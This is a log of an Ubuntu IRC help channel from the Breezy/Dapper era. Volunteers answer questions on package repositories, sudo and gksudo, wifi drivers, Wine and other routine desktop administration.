[01:52] <sanbec> Hirvinen, no matter. I write Hi but appeared your name
[01:52] <OmegaAlpha> its so bad that when i run error chekc on partition magic it says there are too many errors that it cant finish checking the error
[01:52] <nickrud> OmegaAlpha: look in lost+found on the relevant partition. If there's something there ...
[01:52] <Unity> Phuzion`: you should apt-get install it
[01:52] <a0101959f> what
[01:52] <Unity> Phuzion`: so you don't have to worry abouh where you install it to
[01:52] <Steve44> hmm Section "DRI" mode 0666     - I'm scared
[01:52] <Phuzion`> Unity:  I'm installing pure-ftpd which doesn't appear to be in the repository
[01:52] <Hirvinen> sanbec: Blah. Use the better IRC client <http://irssi.org/>
[01:52] <marky> unity any idea?
[01:52] <OmegaAlpha> and the partition is actualyl like a 1/3 of what it shows in the gui partition software
[01:52] <Phuzion`> Unity:  Plus, I like to do stuff on my own.
[01:52] <nickrud> Steve44: that's normal, don't sweat it
[01:53] <a0101959f> espaol
[01:53] <nickrud> !es
[01:53] <ubotu> Hispanohablantes: Por favor usen #ubuntu-es, #kubuntu-es o #edubuntu-es, alli obtendran mas ayuda.
[01:53] <Steve44> nickrud, dare I ask what mode 666 is? lol
[01:53] <ag0g0girl> You guys are making me dizzy...I've been here for over an hour and I have no answer
[01:53] <V4Vendetta> ag0g0girl, whats the question
[01:53] <dg2_bluesky> where is the xorg.conf found in the live cd
[01:53] <nickrud> Steve44: read writeable by all
[01:53] <solid_liq> nickrud: here's my /etc/apt/sources.list -  http://pastebin.com/604610
[01:53] <ag0g0girl> how to install personal security manager for mozilla
[01:53] <nickrud> solid_liq: try j2re1.4 , I think I gave you a typo
[01:53] <Steve44> nickrud, ahh k I'll be able to sleep now .. lol just stumbled on it getting my mouse back button to work
[01:54] <michaelfavia> ag0g0girl, use synaptic
[01:54] <V4Vendetta> ag0g0girl, never heard of it. but use apt-get
[01:54] <Unity> !info pure-ftpd
[01:54] <_Jsm> quickest way of getting kde?
[01:54] <ubotu> pure-ftpd: (Pure-FTPd FTP server), section universe/net, is optional. Version: 1.0.19-4 (breezy), Packaged size: 83 kB, Installed size: 292 kB
[01:54] <silvaran> dg2_bluesky: /etc/X11/
[01:54] <solid_liq> nickrud: j2re by itself doesn't show any results in the search
[01:54] <Unity> Phuzion`: see the above output from ubotu
[01:54] <nickrud> ag0g0girl: apt-get install mozilla-psm , it's in universe
[01:54] <silvaran> _Jsm: apt-get install kubuntu-desktop
[01:54] <_jason> _Jsm: sudo aptitude install kubuntu-desktop
[01:54] <nickrud> solid_liq: I'll look at your sources
[01:54] <ag0g0girl> I see synaptic,but it doesn't have psm in there
[01:54] <solid_liq> nickrud: thanks
[01:54] <gazanfer> anyone knows a good alternative to synaptic? all system runs very slow while searching in synaptic. (not apt-get or apt-cache please)
[01:55] <Phuzion`> E: Couldn't find package pure-ftpd
[01:55] <michaelfavia> ag0g0girl, search for mozilla
[01:55] <Phuzion`> Unity:  See the above information from apt
[01:55] <_jason> gazanfer: aptitude
[01:55] <nickrud> solid_liq: lines 19 & 20, add multiverse at the end
[01:55] <michaelfavia> then look through that list...
[01:55] <Unity> Phuzion: update your repos
[01:55] <michaelfavia> npsr?
[01:55] <_Jsm> _Jason lol how handy you added sudo i can just copy and paste
[01:55] <solid_liq> nickrud: thanks
[01:55] <nrymiguel> hi ppl
[01:55] <bimberi> gazanfer: kde uses adept, you could try that, might have similar issues though
[01:55] <gazanfer> _jason, thanks but what i'm looking for is a x window application.
[01:55] <nrymiguel> respect
[01:55] <gazanfer> bimberi, thank you
[01:55] <Unity> Phuzion`: do you have trouble seeing what i write if i send to Phuzion instead of Phuzion` ?
[01:55] <nickrud> ag0g0girl: you may need to edit /etc/apt/sources.list  : lines 19 & 20, remove the # at the beginning, then add multiverse to the end
[01:56] <Phuzion`> No, my IRC doesn't highlight things to me
[01:56] <_Jsm> one thing with kde can i still use my gnome apps?
[01:56] <_jason> gazanfer: adept maybe
[01:56] <nickrud> ag0g0girl: use sudo nano /etc/apt/sources.list
[01:56] <Jemt> kbrooks, nickrud, polpak : I'm off to bed. Thanks for all you help with the file permission issue :)
[01:56] <silvaran> Unity: does your client have tab-completion for nicks?
[01:56] <nickrud> Jemt: heh. you have me running in circles atm
[01:56] <mikebot> in windows, when you open a picture, you can browse all the pictures in that directory by pressing left and right; does ubuntu have something like that? a picture viewer? eye of gnome doesn't do it
[01:56] <Phuzion`> Unity:  How do I update my repos?
[01:56] <V4Vendetta> hmm, it seems when i install things they no longer get put into the applications menu
[01:56] <silvaran> _Jsm: Yes
[01:56] <Unity> marky: assuming you mean streaming over the network, the others may have not been built with samba filesystem support
[01:56] <Unity> silvaran: yes
[01:56] <nrymiguel> sorry, I am a begginer, can anyone tellme hoe to install Skype on my ubuntu
[01:56] <IdleOne> _Jsm>  yes you can
[01:56] <Jemt> nickrud: Hehe, I'm sorry :)
[01:56] <silvaran> mikebot: gthumb?
[01:56] <Unity> ubotu tell Phuzion` about easysource
[01:57] <_jason> V4Vendetta: not all things get have shortcuts in their packages
[01:57] <_Jsm> i get this
[01:57] <solid_liq> nickrud: awesome, thanks!!
[01:57] <mikebot> silvaran, does that come with it, or do i need to instlal it?
[01:57] <nickrud> Jemt: nothing new, no worries :)
[01:57] <Webby`> hi
[01:57] <IdleOne> !tell nrymiguel  about repos
[01:57] <_Jsm> warning : 5 or 6 lines
[01:57] <ag0g0girl> found it this time...thanks
[01:57] <_Jsm> sudo aptitude install kubuntu-desktop
[01:57] <IdleOne> !tell nrymiguel  about skype
[01:57] <Webby`> How do I get ATI TV WONDER USB 2.0 to work in ubuntu?
[01:57] <V4Vendetta> _jason, i remember gnormalize did though.
[01:57] <Jemt> nickrud: Ok :)
[01:57] <_Jsm> sudo aptitude install kubuntu-desktop
[01:57] <_Jsm> err
[01:57] <Unity> Phuzion`: after you fix your sources.list, try apt-get install pure-fptd again
[01:57] <silvaran> mikebot: not sure if it's on the menu, but alt+f2 then type "gthumb" should get it.
[01:57] <Webby`> Are there any online guides?
[01:57] <marky> unity i'm sure it used to work
[01:57] <_Jsm> E: Could not get lock /var/lib/dpkg/lock - open (11 Resource temporarily unavailable)
[01:57] <_Jsm> E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?
[01:57] <IdleOne> Webby`>  wiki.ubuntu.com
[01:57] <Jemt> Well, night all. Thanks again :)
[01:57] <mikebot> silvaran, thanks
[01:58] <marky> unity before my hd died
[01:58] <silvaran> _Jsm: Somebody else has the local repos locked -- try closing synaptic
[01:58] <cjazinski> hey guys i just installed g++ but when i try to compile something it can't find any of the libs i'm using any ideas? and i know the code is good
[01:58] <silvaran> _Jsm: or aptitude
[01:58] <nickrud> _Jsm: you have any of synaptic, aptitude or an apt-get session open most likely
[01:58] <Webby`> IdleOne: Thanks. I will check it out.
[01:58] <Unity> _Jsm: `ps -aux | grep apt` find open apt processes and end them
[01:58] <_jason> V4Vendetta: try killall gnome-panel to refresh the menu
[01:58] <attar> hello, i want to change the default application for pdf, i selected a pdf file, right click- properties, open with tab, then there is a choice of  (Radiobutton)Adobe Reader, (radiobutton) document viewer! problem: i am clicking on  the radio for adobe, but nothing is happening! y?
[01:58] <V4Vendetta> _jason, yea, it doesnt' show up i'll just build it using smeg
[01:58] <nickrud> _Jsm: only one process at a time is allowed to install stuff
[01:58] <_Jsm> synaptic was open
[01:58] <silvaran> cjazinski: If you know the equivalent repository name of the package you're trying to compile, you can try "sudo apt-get build-dep <packagename>
[01:59] <jvai> hey uall, is nmap 4.01 or 4.0 in breezy's of dapper's repositories? i'm on hoary & using nmap 3.75
[01:59] <nickrud> attar: be sure you actually hit the radio button
[01:59] <Melissa|X> Can anybody please tell me how to get a regular mic to work? I'm using Dapper, the volume thingy says I'm using Intel ICH5 (Also Mixer) and also lets me select Realtek ALC650F (OSS Mixer) too. I can't figure this out. Just being able to record myself is really my only goal.
[01:59] <cjazinski> i'm trying to compile something i wrote Silencer
[01:59] <marky> is there another way or than samba?
[01:59] <_jason> !info nmap dapper
[01:59] <cjazinski> silvaran,
[01:59] <ubotu> nmap: (The Network Mapper), section net, is extra. Version: 3.95-2 (dapper), Packaged size: 683 kB, Installed size: 2352 kB
[01:59] <LethalSword> how do i use winrar
[01:59] <IdleOne> Melissa|X> join #ubuntu+1 for help with Dapper :) and pie !
[01:59] <mikebot> silvaran, anything besides gthumb?
[01:59] <htrp> there is any other graphic complier for linux?
[01:59] <_jason> ubotu: tell LethalSword about rar
[01:59] <Unity> Melissa|X: if it was working with breezy, then maybe #ubuntu+1 has the answer
[01:59] <silvaran> mikebot: Not that I'm familiar with..... possibly gqview ...
[01:59] <jvai> oooo thnx ubotu..lol
[02:00] <V4Vendetta> _jason, has dapper been delayed the 6 weeks?
[02:00] <silvaran> !info gqview
[02:00] <LethalSword> _jason i know that
[02:00] <ubotu> gqview: (A simple image viewer using GTK+), section universe/graphics, is optional. Version: 2.0.0-1 (breezy), Packaged size: 697 kB, Installed size: 2284 kB
[02:00] <attar> nickrud, :) iam sure i am clicking the radiobutton, tried it's center, tried click on the word itself, tried with space, nothin is working!
[02:00] <LethalSword> but i downloaded and installed winrar
[02:00] <LethalSword> but i dont understand
[02:00] <marky> lethalsword you could use wine to use winrar
[02:00] <Unity> Melissa|X: also, try boosting the rocerd volume
[02:00] <mikebot> silvaran, okay, cause gthumb isn't really working...
[02:00] <LethalSword> i installed winrar
[02:00] <LethalSword> the linux one
[02:00] <marky> hmm
[02:00] <LethalSword> but dont know how to use it
[02:00] <Melissa|X> I never really tried it with Breazy, but I'm pretty sure it's a general problem and I have no idea what I'm supposed to do to fix it.
[02:00] <Melissa|X> Unity: How would one go about doing that?
[02:00] <polpak> LethalSword, there's either unrar or rar
[02:00] <nickrud> attar: just because the thing is hightlighted doesn't mean the button moves, click the circle (been there)
[02:00] <marky> proberbly a command line
[02:00] <bimberi> V4Vendetta: no decision yet
[02:00] <attar> the same for all other apps, not just pdf! i can't change the default opened
[02:00] <silvaran> mikebot: oh... i haven't used gqview in awhile, but found it was a lot like thumbs
[02:00] <_jason> V4Vendetta: https://wiki.ubuntu.com/DapperDelayMeetingSummary
[02:00] <_Jsm> !tell gazanfer about gtk
[02:01] <_Jsm> !tell gazanfer about gtk+
[02:01] <IdleOne> Melissa|X>  /j #ubuntu+1
[02:01] <cjazinski> it's like i need the cstdlib
[02:01] <Unity> Melissa|X: find your system tray, look for the volume icon, double click it, play around with the resulting dials and knobs
[02:01] <cjazinski> is thre a package for cstdlib??
[02:01] <silvaran> cjazinski: did you find the build-dep thingy?
[02:01] <mcs> _jason: ever used killall on a Sun machine? ;)
[02:01] <_Jsm> !tell gazanfer about gtk+-2.0
[02:01] <Unity> Melissa|X: or join dapper channel
[02:01] <mikebot> Silencer, okay..well--thanks for the help
[02:01] <mikebot> ca
[02:01] <mikebot> cya
[02:01] <Phuzion`> Would running apt-get update update my sources list?
[02:01] <_jason> mcs: haven't had the pleasure, what happens?
[02:01] <LethalSword> lol i just figured it out
[02:01] <gazanfer> _Jsm, lol ubotu output a parse error :)
[02:01] <Melissa|X> Unity: I've been working on that for the past half hour lol. I'll just join the Dapper channel then. Thnx anyway
[02:01] <polpak> PhilCote, no, it updates your cache
[02:01] <jvai> my thinkpad t40 (reburb'd) is n the maIL i'm gotta nuke it of xp, but i wish i can salvaged the access ibm blue button
[02:01] <manux> hello ... got some problems with french carachters encoding on apache?? where can i configure this ?
[02:02] <polpak> Phuzion, whoops
[02:02] <polpak> Phuzion, ^^
[02:02] <Phuzion`> Alright
[02:02] <Metaltron> !ssh
[02:02] <ubotu> I guess ssh is https://wiki.ubuntu.com/SSHHowto, or https://wiki.ubuntu.com/AdvancedOpenSSH
[02:02] <polpak> !tell Phuzion about sources
[02:02] <mcs> _jason: well, it kills *all* the user processes. please use pkill.
[02:02] <cjazinski> silvaran, what do i need the build-dep?
[02:02] <cjazinski> for everything i want to compile?
[02:02] <_jason> mcs: I see
[02:02] <Phuzion`> I know what is is, polpak
[02:02] <cjazinski> i know g++ works just fine
[02:02] <solid_liq> how do I configure my wireless network connection?  I already have the wifi driver installed and working
[02:02] <silvaran> cjazinski: Well are you compiling custom code or anything?  Or an updated version of a package?
[02:02] <attar> nickrud, :( i tried! let's make sure i know how to click a radio button, it's a circle and i point the mouse to the centre of that circle, according to my knowledge, the circle should become selected! it's not happening!
[02:03] <_Jsm> !tell cjazinski about bulid-esentials
[02:03] <attar> nickrud, could it be a dapper thing?
[02:03] <cjazinski> custom code
[02:03] <cjazinski> build essentials
[02:03] <cjazinski> that's it
[02:03] <IdleOne> cjazinski> sudo apt-get build-essential
[02:03] <_Jsm> !tell cjazinski about gcc
[02:03] <nickrud> attar: then I don't know why it's not accepting, and possibly
[02:03] <Phuzion`> polpak:  I just don't have copy/paste access right now, I'm working on a Windows machine with PuTTY right now, since my other linux machine is 30 miles away
[02:03] <silvaran> cjazinski: Oh, I thought you had those already.  Pay attention! :)
[02:03] <IdleOne> cjazinski> sudo apt-get install build-essential
[02:03] <marky> when i try to watch streaming video from the net i get no picture
[02:03] <marky> :(
[02:03] <attar> nickrud, hehe, thanx anyways, u know of any other way of changing the default?
[02:03] <polpak> Phuzion, why can't you copy / paste?
[02:03] <silvaran> My other linux machine is a Porsche.
[02:03] <zezu> how do i get ubuntu to actually save the writes to my usb pendrive again ?
[02:03] <nickrud> mcs: if we were supporting solaris, it might matter
[02:03] <_Jsm> phuz right click copy and paste ;)
[02:03] <cjazinski> ty
[02:03] <cjazinski> and sorry
[02:03] <zezu> err rather this is the sd reader/writer but nm
[02:04] <Phuzion`> polpak:  You can't exactly copy/paste from Windows into Pico through PuTTY
[02:04] <solid_liq> how do I configure my wireless network connection?  I already have the wifi driver installed and working
[02:04] <nalioth> attar: use the tab, arrow keys and space bar
[02:04] <Phuzion`> At least from what I know about it.
[02:04] <zezu> some sort of write protect ?
[02:04] <polpak> Phuzion, I'm pretty sure you can
[02:04] <nickrud> zezu: umount <thumbdrive> before pulling it out
[02:04] <silvaran> Phuzion`: Sure you can... middle-click to paste.
[02:04] <zezu> could have swore i tried that lessee
[02:04] <Phuzion`> Oh, really?
[02:04] <Phuzion`> Thanks
[02:04] <polpak> Phuzion, or shift-insert
[02:04] <_Jsm> will i need to restart after putting kde on?#
[02:04] <attar> nalioth, i did! the selection is not changing! tried everything, thought maybe i need root permissions, ran sudo nautilus and tried, not working!
[02:05] <zezu> nickrud, didn't work
[02:05] <nickrud> zezu: and wait for the light on the pendrive to go out (on mine, anyway)
[02:05] <nalioth> attar: i hope you've not run that too often
[02:05] <mcs> nickrud: sorry, just being smart-assed for 10 seconds before going to bed ;) cu
[02:05] <silvaran> _Jsm: If you want to go strictly kde, you can usually drop to a console, do /etc/init.d/gdm stop and /etc/init.d/kdm start
[02:05] <nalioth> ubotu: tell attar about gksudo
[02:05] <nickrud> mcs: me too :)
[02:05] <rukuartic> Anyone have a good console frontend to cron?
[02:05] <polpak> rukuartic, crontab -e ?
[02:05] <nalioth> rukuartic: kcron?
[02:05] <nickrud> oh, too late
[02:05] <Unity> what package should i install if i want to compile x apps? like what package holds the xorg devel libraries?
[02:05] <rukuartic> nalioth: console... thanks polpak (and nalioth and nickrud :P)
[02:06] <zezu> damn, X just got really slow when i copied it again
[02:06] <nickrud> Unity: x-window-system-dev
[02:06] <zezu> its sitll ... really ... slow
[02:06] <Phuzion`> silvaran:  Thanks a million for the tip.
[02:06] <nalioth> ubotu: tel Unity about xincludes
[02:06] <ubotu> nalioth: Did you get hit by a windmill? Try searching at http://ubuntu.cc.com.au/
[02:06] <polpak> rukuartic, that'll only work for your own crons.. system wide crontabs are in /etc/cron.d IIRC
[02:06] <attar> nalioth, oops! yes, i've done that a lot of times! permissions were weird sometimes, but then again i didn't know what the normal behavious is! :) thanx!
[02:06] <nalioth> ubotu: tell Unity about xincludes
[02:06] <silvaran> Phuzion`: No problem... putty is your friend... wait'll you figure out key authentication :)
[02:06] <nalioth> ubotu: yes
[02:06] <ubotu> Yes, yes! Yes indeed. Who would have thunk it, eh, nalioth?
[02:07] <Phuzion`> silvaran:  I've already read about it in 2600
[02:07] <rukuartic> Yes is a dangerous command.
[02:07] <Phuzion`> AHHHHHHH
[02:07] <attar> ubotu: no
[02:07] <ubotu> Ahh, too bad, I really thought so...
[02:07] <Phuzion`> 6 errors!
[02:07] <rukuartic> ubotu: yes
[02:07] <ubotu> Yes, yes! Yes indeed. Who would have thunk it, eh, rukuartic?
[02:07] <Unity> nalioth: thx
[02:08] <solid_liq> anyone know how to configure wifi?
[02:08] <rukuartic> !wifie
[02:08] <ubotu> Bugger all, I dunno. Try searching at http://ubuntu.cc.com.au/, rukuartic
[02:08] <rukuartic> !wifi
[02:08] <ubotu> methinks wifi is https://wiki.ubuntu.com/WiFiHowto
[02:08] <rukuartic> solid_liq: checked the wiki? :P
[02:08] <solid_liq> cool, thanks!  :D
[02:08] <nickrud> rukuartic: pie on the mind?
[02:08] <keishin> Could I get a bit of help?  I'm trying to setup SWAT, and I found a guide... so I'm trying to save the config file I just created, but it doesn't seem to be allowing me (I don't seem to be allowed to do much =\)
[02:08] <Phuzion`> Ahh, something happened, I updated my source list, and it went all wierd on me
[02:08] <Phuzion`> http://pastebin.com/604631
[02:09] <Phuzion`> Do I have to update my cache after I change my sources list?
[02:09] <nickrud> Phuzion: try an sudo aptitude update, then try again
[02:09] <Phuzion`> Alright
[02:10] <Phuzion`> Sweet, it worked
[02:10] <Phuzion`> Thanks for the help everyone
[02:10] <Unity> Phuzion`: got your ftp server running?
[02:11] <Phuzion`> Unity:  Yep!
[02:11] <Unity> =)
[02:12] <Phuzion`> Now to configure MySQL! Horay!
[02:12] <_Jsm> mysql is easy
[02:12] <htrp> !info pureftpd
[02:12] <htrp> !info pure-ftpd
[02:12] <ubotu> pure-ftpd: (Pure-FTPd FTP server), section universe/net, is optional. Version: 1.0.19-4 (breezy), Packaged size: 83 kB, Installed size: 292 kB
[02:13] <rukuartic> Anything else besides Wine for running 'doze apps?
[02:13] <Falstius> rukuartic: cedega is wine on steroids, but you have to pay for it.
[02:13] <nickrud> rukuartic: windows for most apps
[02:13] <Falstius> then there is vmware or QEMU.
[02:13] <mikeazorin> where is the page that lets you paste a few lines of code and gives you link to put in irc
[02:13] <nickrud> still windows
[02:13] <rukuartic> QEMU... Hmm. Qemu any good?
[02:13] <_Jsm> vmware is windows ;)
[02:14] <nickrud> !paste
[02:14] <ubotu> Don't flood the channel! Please use the pastebin at http://paste.ubuntu-nl.org/ or the channel #flood to paste large amount of text.
[02:14] <Phuzion`> mikeazorin:  www.pastebin.com
[02:14] <nickrud> mikeazorin: ^^^
[02:14] <mikeazorin> gracias
[02:14] <Phuzion`> de nada amigo
[02:14] <nickrud> rukuartic: qemu is ok
[02:14] <Falstius> rukuartic: it would be slow ... it is a system emulator and you'd have to have a valid windows to install "in it".  I've never tried.
[02:14] <Phuzion`> Haha, i would have laughed if ubotu yelled at you in spanish for saying gracias
[02:15] <_Jsm> mac on linux?
[02:15] <_Jsm> i know you can vmware it on windowz
[02:15] <silvaran> _Jsm: There's a vmware for linux as well.
[02:15] <V4Vendetta> yea
[02:16] <keishin> Could I get a bit of help?  I'm trying to setup SWAT, and I found a guide... so I'm trying to save the config file I just created, but it doesn't seem to be allowing me (I don't seem to be allowed to do much in the way of saving anything... =\)
[02:16] <V4Vendetta> keishin, run gedit with sudo
[02:16] <tristanmike> keishin, if you need to save something outside your /home directory, you need to use "sudo"
[02:16] <nickrud> keishin: sudo (super user do) is needed for writing most configuration files
[02:16] <tristanmike> keishin, run gedit with "gksudo"
[02:17] <rukuartic> V4Vendetta: Don't forget about gksudo :P handy for those apps
[02:17] <keishin> ohh.
[02:17] <nickrud> !sudo
[02:17] <ubotu> By default, the root password is locked in Ubuntu. Look at http://wiki.ubuntu.com/RootSudo for all information.
[02:17] <V4Vendetta> rukuartic, not necessary really though.
[02:17] <tristanmike> V4Vendetta, you should run graphical apps with "gksudo"
[02:17] <V4Vendetta> rukuartic, plain old sudo works
[02:17] <keishin> Wait... so I start gedit with... what is it?
[02:17] <V4Vendetta> why is that anyway ?
[02:17] <keishin> =P
[02:17] <rukuartic> V4Vendetta: Yeah but it eats your console
[02:17] <V4Vendetta> i see..
[02:17] <rukuartic> you can & it but still
[02:17] <V4Vendetta> i never noticed any problems
[02:17] <keishin> Thanks, that makes sense now.  I think I'm finally starting to put things together =)
[02:17] <nickrud> V4Vendetta: it's better at preserving your user configurations
[02:17] <V4Vendetta> nickrud, ahh, ill have to remember that
[02:17] <rukuartic> nickrud: whats the diff between sudo su and sudo -i?
[02:18] <tristanmike> V4Vendetta, because it cause problems with their config files, and sudo'ing the wrong graphical app can break your system
[02:18] <V4Vendetta> ever since the dhcp client update my internet has been running better :-P
[02:18] <_Jsm> su changes you to root sudo just runs as root
[02:18] <silvaran> 'su' would need you to type in your root password, rather than your user password.
[02:18] <rukuartic> _Jsm: No, sudo -i
[02:18] <nickrud> rukuartic: sudo su - and sudo -i are pretty much equiv ; sudo and su  are also much equiv
[02:18] <rukuartic> nickrud: So no difference eh?
[02:18] <_Jsm> how do i change the default to kde i accidently set it as gdm
[02:18] <V4Vendetta> anyway to change the icon from two computer screens, in the gnome-panel to like a pci-ethernet card?
[02:19] <V4Vendetta> for network-connections
[02:19] <nickrud> rukuartic: try env | sort after each of sudo -s and sudo -i
[02:19] <brenner> tristanmike: a lot of the wiki pages use 'sudo gedit'
[02:19] <nickrud> compare and contrast
[02:19] <Falstius> nickrud: except to use "su" you generally need the root password (unless you sudo su)
[02:19] <nickrud> Falstius: I was just comparing environments
[02:19] <_Jsm> any one know?
[02:19] <tristanmike> brenner, well, gedit is ok 99.9% ok, if I recall, but better safe than sorry
[02:20] <Falstius> _Jsm, select it at the login menu and then just "use last session"
[02:20] <_jason> _Jsm: you mean kdm?
[02:20] <brenner> tristanmike: i see
[02:20] <crouchingMonkey> what is the command to fix a broken package ?
[02:20] <bimberi> _Jsm: default? at the login screen? choose the one you want from the sessions menu.  If it's not the default it will offer to make it so
[02:20] <IdleOne> _Jsm>  to use kde sudo apt-get install kubuntu-desktop  if you already did that then log out and at login screen click on session and choose the session you want to boot in
[02:20] <nickrud> Falstius: I was peeved at why gksudo was recommended over sudo for graphical stuff, and then thought about environments in each case, so it finally made sense
[02:21] <_Jsm> ok im going for 5 mins to re log
[02:21] <_jason> _Jsm: dpkg-reconfigure kdm will set kdm as your default
[02:21] <tristanmike> brenner, but if you ran say, America's Army installation with "sudo" you might* loose your desktop, it's a chance and will leave you wonder what the heck happened (trust me :P)
[02:22] <nickrud> crouchingMonkey: in general, sudo apt-get -f install
[02:22] <V4Vendetta> tristanmike, i have never had that happen
[02:22] <tristanmike> V4Vendetta, lucky you
[02:22] <brenner> lol.
[02:22] <nickrud> brenner: yeah, and those sudo gedit's are bugs
[02:23] <Karaking> hi guys can anyone help me?
[02:23] <_jason> !helpme
[02:23] <ubotu> If you do not actually ask a question, we can not actually help you.
[02:23] <Karaking> i got a problem with ndiswrapper and a wireless card... doesn't work for dapper drake flight 5 but works with breezy 5.10
[02:23] <V4Vendetta> can anyone tell me how i can get a network-connection icon with a logo i choose?
[02:23] <Titan> Anyone running WoW on wine right now? Not cedega. I have a question.
[02:23] <nyk2005> _jason: resolving the space issues now with partition magic... it's my collegues laptop and I can't kill his XP
[02:23] <_jason> nyk2005: oh come on, do him a favor ;)
[02:24] <nickrud> brenner: basically, if you do a sudo gedit, and then make a change to gedit's config, gedit's configs may be written with root permissions, so you cannot change them as yourself
[02:24] <Titan> lol, ya, kill it
[02:24] <nyk2005> _jason: pm runs now... and for hours..
[02:25] <bimberi> ok, in breezy type 'gksudo gedit fred' in a terminal.  Save the file.  Do you end up with a file called fred or 'fred' (_with_ the quotes)?
[02:25] <brenner> nickrud: i see.  lucky i use vi. i have been telling newbies to use sudo gedit though.  i guess i need to change that.
[02:26] <V4Vendetta> is it safe to get gnome 2.14 on breezy?
[02:26] <IdleOne> brenner>  nano always works great for me
[02:26] <_Jsm> damn im going back to gnome
[02:26] <_jason> bimberi: 'fred', instead you should do: gksudo 'gedit fred'
[02:26] <_Jsm> this is nothing like it was on other distros
[02:26] <nickrud> brenner: yeah. better safe than sorry. You never know what someone does, while you're helping
[02:26] <talisein> Hi. I had an Update notification for my Breezy installation this morning and told it to go ahead. But it is frozen while "Setting up linux-image.2..." Is it safe to killall synaptic and try the update again from apt-get?
[02:27] <V4Vendetta> talisein, no!
[02:27] <avar> what driver do the soundblaster cards use
[02:27] <bimberi> _jason: aaah.  hm
[02:27] <V4Vendetta> talisein, becareful, that's a linux image it's frozen on
[02:27] <talisein> Yeah, that's what I was thinking. Its been frozen for several hours now.
[02:27] <V4Vendetta> talisein, that's not good at all
[02:27] <_jason> bimberi: it seems buggish to me though
[02:27] <avar> talisein: what is the process doing?
[02:27] <bimberi> _jason: btw in dapper you get fred (no quotes)
[02:27] <nickrud> talisein: as long as you don't reboot, apt should recover well
[02:27] <avar> anything?
[02:28] <_jason> bimberi: guess it was taken care of then
[02:28] <bimberi> _jason: yes I think so
[02:28] <Titan> Anyone running WoW on wine right now? Not cedega. I have a question.
[02:28] <talisein> nickrud: So kill it and be sure it installs correctly before rebooting?
[02:28] <bimberi> _jason: (to both of your posts) :)
[02:28] <_Jsm> yay iv got all the kde apps on gnome
[02:28] <Titan> anyone understand my problem with this... wine WoW.exe -opengl
[02:28] <Titan> err:module:import_dll Library OPENGL32.dll (which is needed by L"Z:\\home\\titan\\WoW\\Warcraft\\WoW.exe") not found
[02:28] <Titan> err:module:LdrInitializeThunk Main exe initialization for L"Z:\\home\\titan\\WoW\\Warcraft\\WoW.exe" failed, status c0000135
[02:29] <V4Vendetta> Titan, you need to add that .dll file
[02:29] <V4Vendetta> Titan, then it should work
[02:29] <sorush21> guys I have a missing hdd how do I find it and mount it
[02:29] <zembee> working with usb-serial, I noticed on my RHEL has a /dev/usb/ tree but breezy has none.  How do I get usb-serial on 5.10. Is that a apt-get usb-serial?
[02:29] <nickrud> talisein: If ubuntu installs a new kernel, the old kernel will be available on grub (I've got about 5 old ones there now) But you are correct, still
[02:29] <Titan> V4Vendetta: cool thanks, but where can I get it and where should I add it
[02:29] <V4Vendetta> Titan, in the wow folder, and off the internet
[02:29] <V4Vendetta> Titan, dll-files.com i think it is
[02:30] <talisein> avar: I don't know.. ps -A shows synaptic, update-manager... and "linux-image-2.6" running
[02:30] <Titan> V4Vendetta: thanks again! :)
[02:30] <avar> talisein: try to strace(1) it
[02:30] <bimberi> _jason: it means we should be careful recommending >>gksudo gedit /etc/apt/sources.list<< as it opens an empty file called sources.list'
[02:31] <Nembutal> Hi
[02:31] <_jason> bimberi: that's true, I've tried to either make the quotes clear or recommend nano myself
[02:31] <Nembutal> Can anyone use zapping in dapper?
[02:31] <Nembutal> Zapping crashes immediately after I chose "CHannels" ... can't configure them
[02:31] <Karaking> how can i make my asus wl138g work on ubuntu 6.10 flight 5?
[02:32] <bimberi> _jason: *nods*
[02:32] <talisein> avar: strace shows a "Resource temporarily unavailable" message repeating ad finum
[02:32] <marky> _jason still now streaming video from anywhere even www
[02:32] <marky> no*
[02:32] <avar> talisein: what does "free -m" show you?
[02:33] <_jason> marky: well I know www should be working, do you get any errors if you try to do it from a terminal?
[02:33] <marky> where is run
[02:33] <marky> hmm never done it through terminal
[02:33] <Nembutal> zapping crashes immediatly h
[02:33] <Karaking> i add the driver with ndiswrapper all regular... driver present hardware present... but the device doesn't show up in network configuration gui...
[02:33] <tristanmike> !tell Nembutal about dapper
[02:33] <talisein> avar: Mem: 504 493 10 0 49 90 .... cache: 354 used 149 free, swap 807 211 596
[02:34] <tristanmike> Nembutal, they'd be better able to help you
[02:34] <Nembutal> tnx tristanmike
[02:34] <marky> _jason when say i open a firefox page that has a movie embeded in it  , it says "no picture"
[02:34] <kernspalt> ok i'm trying and reading for more than 2hours now... Anyone got a hot tip on how to make a Linksys WMP54G V1 WLan Card work? Tried several Drivers and all said Hardware present at Ndis but the device was not shown in the Network configuration
[02:34] <_jason> marky: did you install mozilla-mplayer?
[02:34] <marky> yup
[02:34] <marky> where is run?
[02:34] <techrush> how can i tell how much free space is on a partition ?
[02:34] <Unity> techrush: df -h
[02:35] <_jason> marky: ok, now for the important part.  Is firefox actually using mplayer?  :) (check in about:plugins).  What do you mean by ``where is run?''
[02:35] <techrush> thank you
[02:35] <htrp> techrush, or df -Th
[02:35] <techrush> i think ill man df :)
[02:35] <marky> i wanted to use xkill but can't find a run box
[02:35] <nickrud> marky: alt-f2
[02:35] <marky> i'll check
[02:35] <_jason> marky: accessories > terminal, or alt+f2
[02:35] <marky> thanks
[02:35] <crouchingMonkey> thank you nickrud that worked out fine
[02:36] <rukuartic> kernspalt: What point didja get to in the ndiswrapper wiki?
[02:36] <nickrud> crouchingMonkey: that's cool, what whas it again :)
[02:36] <jhoy> hi
[02:36] <jhoy> wazz up
[02:37] <talisein> avar: I killed some firefoxes and have 163 free mem now, but still frozen
[02:37] <Titan> What does this mean?   err:imagelist:ImageList_ReplaceIcon no color!
[02:37] <crouchingMonkey> that broken package i had nickrud :P
[02:37] <nickrud> crouchingMonkey: oh, -f install :)
[02:37] <kernspalt> well ndiswrapper looks to work fine... it's saying driver present and hardware present
[02:37] <rukuartic> kernspalt: try this "ifup wlan0"
[02:37] <rukuartic> kernspalt: Might need to sudo that :P
[02:37] <marky> _jason can't see a plugins in about in firefox
[02:37] <htrp> how do you login to a ftp? let's say the host is localhost and the user/pass is test1/test2 port 1222?
[02:37] <blarion> hey
[02:37] <blarion> I'm having a problem with my soundcard.
[02:38] <_jason> marky: type 'about:plugins' in the address bar
[02:38] <marky> ahh
[02:38] <blarion> and I have no idea where to start.
[02:38] <Titan> err:imagelist:ImageList_ReplaceIcon no color!
